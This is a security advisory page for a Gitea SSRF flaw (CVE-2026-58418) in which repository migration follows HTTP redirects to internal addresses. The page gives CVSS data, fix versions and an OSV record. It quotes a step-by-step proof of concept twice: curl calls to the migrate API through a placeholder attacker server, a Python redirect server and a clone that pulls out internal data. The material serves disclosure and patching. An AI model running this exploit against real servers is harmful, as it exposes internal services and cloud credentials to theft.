CVE-2026-58418: Gitea SSRF Vulnerability

MODERATE
Advisory Identifier: GHSA-rqhx-647v-wx32
CVSS 6.5
CWE-918
Published
Advisory Summary

CVE-2026-58418 is a MODERATE (CVSS 6.5) ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Gitea libraries in the Go ecosystem. The issue involves ssrf via http redirect in repository migration. Remediation is available by upgrading affected packages to version 1.26.4.

CVE-2026-58418 at a Glance

CVE Identifier CVE-2026-58418
GHSA Identifier GHSA-rqhx-647v-wx32
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Gitea
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-58418

To remediate this vulnerability, upgrade all affected Gitea dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

code.gitea.io/gitea fixed: 1.26.4
Upgrade code.gitea.io/gitea to 1.26.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for code.gitea.io/gitea

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-58418, inspect your project dependencies for Gitea:

inspect dependencies for code.gitea.io/gitea

Analyze the terminal output to locate any version of Gitea in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.26.4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Gitea, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Gitea 1.25.4 validates the initial URL provided to the repository migration endpoint (`POST /api/v1/repos/migrate`) and correctly blocks requests to internal addresses like `127.0.0.1` or RFC1918 ranges. However, if the initial URL points to an attacker-controlled server that responds with an HTTP 302 redirect to an internal address, Gitea follows the redirect without performing a second validation. This allows a low-privilege user to reach internal services through Gitea as a proxy. ## Affected Version Gitea 1.25.4 (latest stable at time of writing), default configuration. ## Prerequisites 1. A regular Gitea user account (no admin privileges required) 2. An attacker-controlled server reachable from the internet that serves HTTP 302 redirects ## Reproduction ### Environment | Role | Location | Network | |------------------|----------------------------------------------------------------|------------------------------------------| | Attacker | Any machine with internet access | External network (VLAN A) | | Gitea Server | Windows 11 VM, Gitea 1.25.4, default config, SQLite | Internal network (VLAN B) | | Internal service | Same VM, bound to `127.0.0.1:18082` | Localhost only | | Redirect server | Attacker-controlled public server, port 18080 | Internet | The attacker can reach Gitea on port 3000 but cannot reach port 18082 on the VM. This was verified by attempting a direct connection, which was refused. ### Step 1: Create an attacker account on Gitea Register a normal user account on the Gitea instance (or use any existing non-admin account). Then generate an API token under **Settings > Applications** with the `repo: write` scope. The migration endpoint requires this because it creates a new repository. This token is referenced as `<USER_TOKEN>` in the steps below. ### Step 2: Set up an internal service on the Gitea host On the Gitea VM, create a bare Git repository that simulates an internal service: ```bash mkdir C:\internal-repo cd C:\internal-repo git init echo CONFIDENTIAL_DATA_2025 > secret.txt git add . git commit -m "internal confidential" git clone --bare . C:\internal.git cd C:\internal.git git update-server-info python -m http.server 18082 --bind 127.0.0.1 ``` This serves a Git repository on localhost port 18082. It is not reachable from outside the machine. ### Step 3: Confirm Gitea blocks direct access to internal addresses From the attacker machine: ```bash curl -X POST http://<GITEA_SERVER>:3000/api/v1/repos/migrate \ -H "Authorization: token <USER_TOKEN>" \ -H "Content-Type: application/json" \ -d '{ "clone_addr": "http://127.0.0.1:18082/", "repo_name": "direct-test", "service": "git" }' ``` Response: ```json {"message":"You can not import from disallowed hosts."} ``` This confirms that Gitea correctly blocks migration from internal addresses when provided directly. ### Step 4: Set up a redirect server On an attacker-controlled public server, run a script that redirects all requests to the internal service: ```python from http.server import BaseHTTPRequestHandler, HTTPServer class RedirectHandler(BaseHTTPRequestHandler): def do_GET(self): path = self.path if path.startswith("/repo.git"): path = path[len("/repo.git"):] target = f"http://127.0.0.1:18082{path}" self.send_response(302) self.send_header("Location", target) self.end_headers() print(f"[+] Redirected {self.path} -> {target}") do_HEAD = do_GET HTTPServer(("0.0.0.0", 18080), RedirectHandler).serve_forever() ``` ### Step 5: Exploit the redirect bypass From the attacker machine: ```bash curl -X POST http://<GITEA_SERVER>:3000/api/v1/repos/migrate \ -H "Authorization: token <USER_TOKEN>" \ -H "Content-Type: application/json" \ -d '{ "clone_addr": "http://<ATTACKER_SERVER>:18080/repo.git", "repo_name": "exfil-test", "service": "git", "private": true }' ``` Response: **HTTP 201 Created**. The migration succeeds. ### Step 6: Retrieve the exfiltrated data From the attacker machine: ```bash git clone http://attacker:password@<GITEA_SERVER>:3000/attacker/exfil-test.git cat exfil-test/secret.txt ``` Output: ```text CONFIDENTIAL_DATA_2025 ``` The attacker now has the contents of the internal repository that was only accessible on localhost. ## What happens during the attack 1. The attacker sends a migration request pointing to their public server. 2. Gitea validates the URL. The destination is a public IP, so it passes the check. 3. Gitea contacts the attacker's server to clone the repository. 4. The attacker's server responds with `302 Location: http://127.0.0.1:18082/...` 5. Gitea follows the redirect to `127.0.0.1` without validating the new destination. 6. The internal service responds and Gitea stores the result as a new repository owned by the attacker. 7. The attacker clones their newly created repository and reads the internal data. ## Impact Any authenticated user with permission to create repositories can use the migration feature to reach services that are only accessible from the Gitea server itself or its local network. Depending on the environment this could include: 1. Internal Git repositories or other version control systems not exposed to the internet 2. Cloud metadata endpoints (`169.254.169.254`) which serve temporary credentials on AWS, GCP, and Azure 3. Internal APIs, CI/CD systems, databases, or admin panels bound to localhost or private networks 4. Other services within the same network segment that trust connections from the Gitea server The full content of internal Git repositories can be exfiltrated as demonstrated above. For non-Git services, the request still reaches the target (blind SSRF), which may be enough to trigger actions or leak information through error messages. ## Suggested Fix Validate the destination of HTTP redirects against the same blocklist that is applied to the initial URL. If a redirect points to a blocked address (loopback, link-local, RFC1918), the request should be aborted before following the redirect.

CVE-2026-58418 Affected Gitea Versions

1 component(s)
Fixed Versions:
1.26.4
Product / Package Ecosystem Affected Versions Fixed Version
code.gitea.io/gitea
Go
< 1.26.4
1.26.4

References

Frequently Asked Questions

What is CVE-2026-58418?
CVE-2026-58418 is a security vulnerability in Gitea involving SSRF via HTTP Redirect in Repository Migration under CWE-918: Server-Side Request Forgery (SSRF).
Which Gitea versions are affected?
Affected versions include releases prior to 1.26.4 across affected packages: code.gitea.io/gitea.
What version fixes CVE-2026-58418?
Upgrading to 1.26.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is code.gitea.io/gitea affected?
Yes, code.gitea.io/gitea is affected in releases prior to 1.26.4. Upgrade your dependency to 1.26.4 or later.
What is the CVSS score of CVE-2026-58418?
CVE-2026-58418 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-58418?
CVE-2026-58418 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check Go dependencies for CVE-2026-58418?
Run the dependency tree command: 'inspect dependencies for code.gitea.io/gitea'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rqhx-647v-wx32",
  "modified" : "2026-07-21T20:33:52Z",
  "published" : "2026-07-21T20:33:52Z",
  "aliases" : [ "CVE-2026-58418" ],
  "summary" : "Gitea: SSRF via HTTP Redirect in Repository Migration",
  "details" : "## Summary\n\nGitea 1.25.4 validates the initial URL provided to the repository migration endpoint (`POST /api/v1/repos/migrate`) and correctly blocks requests to internal addresses like `127.0.0.1` or RFC1918 ranges. However, if the initial URL points to an attacker-controlled server that responds with an HTTP 302 redirect to an internal address, Gitea follows the redirect without performing a second validation. This allows a low-privilege user to reach internal services through Gitea as a proxy.\n\n## Affected Version\n\nGitea 1.25.4 (latest stable at time of writing), default configuration.\n\n## Prerequisites\n\n1. A regular Gitea user account (no admin privileges required)\n2. An attacker-controlled server reachable from the internet that serves HTTP 302 redirects\n\n## Reproduction\n\n### Environment\n\n| Role             | Location                                                       | Network                                  |\n|------------------|----------------------------------------------------------------|------------------------------------------|\n| Attacker         | Any machine with internet access                               | External network (VLAN A)                |\n| Gitea Server     | Windows 11 VM, Gitea 1.25.4, default config, SQLite           | Internal network (VLAN B)                |\n| Internal service | Same VM, bound to `127.0.0.1:18082`                           | Localhost only                           |\n| Redirect server  | Attacker-controlled public server, port 18080                 | Internet                                 |\n\nThe attacker can reach Gitea on port 3000 but cannot reach port 18082 on the VM. This was verified by attempting a direct connection, which was refused.\n\n### Step 1: Create an attacker account on Gitea\n\nRegister a normal user account on the Gitea instance (or use any existing non-admin account). Then generate an API token under **Settings > Applications** with the `repo: write` scope. The migration endpoint requires this because it creates a new repository. This token is referenced as `<USER_TOKEN>` in the steps below.\n\n### Step 2: Set up an internal service on the Gitea host\n\nOn the Gitea VM, create a bare Git repository that simulates an internal service:\n\n```bash\nmkdir C:\\internal-repo\ncd C:\\internal-repo\ngit init\necho CONFIDENTIAL_DATA_2025 > secret.txt\ngit add .\ngit commit -m \"internal confidential\"\ngit clone --bare . C:\\internal.git\ncd C:\\internal.git\ngit update-server-info\npython -m http.server 18082 --bind 127.0.0.1\n```\n\nThis serves a Git repository on localhost port 18082. It is not reachable from outside the machine.\n\n### Step 3: Confirm Gitea blocks direct access to internal addresses\n\nFrom the attacker machine:\n\n```bash\ncurl -X POST http://<GITEA_SERVER>:3000/api/v1/repos/migrate \\\n  -H \"Authorization: token <USER_TOKEN>\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"clone_addr\": \"http://127.0.0.1:18082/\",\n    \"repo_name\": \"direct-test\",\n    \"service\": \"git\"\n  }'\n```\n\nResponse:\n\n```json\n{\"message\":\"You can not import from disallowed hosts.\"}\n```\n\nThis confirms that Gitea correctly blocks migration from internal addresses when provided directly.\n\n### Step 4: Set up a redirect server\n\nOn an attacker-controlled public server, run a script that redirects all requests to the internal service:\n\n```python\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nclass RedirectHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        path = self.path\n        if path.startswith(\"/repo.git\"):\n            path = path[len(\"/repo.git\"):]\n        target = f\"http://127.0.0.1:18082{path}\"\n        self.send_response(302)\n        self.send_header(\"Location\", target)\n        self.end_headers()\n        print(f\"[+] Redirected {self.path} -> {target}\")\n\n    do_HEAD = do_GET\n\nHTTPServer((\"0.0.0.0\", 18080), RedirectHandler).serve_forever()\n```\n\n### Step 5: Exploit the redirect bypass\n\nFrom the attacker machine:\n\n```bash\ncurl -X POST http://<GITEA_SERVER>:3000/api/v1/repos/migrate \\\n  -H \"Authorization: token <USER_TOKEN>\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"clone_addr\": \"http://<ATTACKER_SERVER>:18080/repo.git\",\n    \"repo_name\": \"exfil-test\",\n    \"service\": \"git\",\n    \"private\": true\n  }'\n```\n\nResponse: **HTTP 201 Created**. The migration succeeds.\n\n### Step 6: Retrieve the exfiltrated data\n\nFrom the attacker machine:\n\n```bash\ngit clone http://attacker:password@<GITEA_SERVER>:3000/attacker/exfil-test.git\ncat exfil-test/secret.txt\n```\n\nOutput:\n\n```text\nCONFIDENTIAL_DATA_2025\n```\n\nThe attacker now has the contents of the internal repository that was only accessible on localhost.\n\n## What happens during the attack\n\n1. The attacker sends a migration request pointing to their public server.\n2. Gitea validates the URL. The destination is a public IP, so it passes the check.\n3. Gitea contacts the attacker's server to clone the repository.\n4. The attacker's server responds with `302 Location: http://127.0.0.1:18082/...`\n5. Gitea follows the redirect to `127.0.0.1` without validating the new destination.\n6. The internal service responds and Gitea stores the result as a new repository owned by the attacker.\n7. The attacker clones their newly created repository and reads the internal data.\n\n## Impact\n\nAny authenticated user with permission to create repositories can use the migration feature to reach services that are only accessible from the Gitea server itself or its local network. Depending on the environment this could include:\n\n1. Internal Git repositories or other version control systems not exposed to the internet\n2. Cloud metadata endpoints (`169.254.169.254`) which serve temporary credentials on AWS, GCP, and Azure\n3. Internal APIs, CI/CD systems, databases, or admin panels bound to localhost or private networks\n4. Other services within the same network segment that trust connections from the Gitea server\n\nThe full content of internal Git repositories can be exfiltrated as demonstrated above. For non-Git services, the request still reaches the target (blind SSRF), which may be enough to trigger actions or leak information through error messages.\n\n## Suggested Fix\n\nValidate the destination of HTTP redirects against the same blocklist that is applied to the initial URL. If a redirect points to a blocked address (loopback, link-local, RFC1918), the request should be aborted before following the redirect.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "code.gitea.io/gitea"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.26.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "< 1.26.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/security/advisories/GHSA-rqhx-647v-wx32"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-58418"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/pull/38108"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/commit/9e84deb969aff5c1115c2984e41250f28c78451f"
  }, {
    "type" : "WEB",
    "url" : "https://blog.gitea.com/release-of-1.26.3-and-1.26.4"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-gitea/gitea"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/releases/tag/v1.26.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-21T20:33:52Z",
    "nvd_published_at" : "2026-07-03T21:17:05Z"
  }
}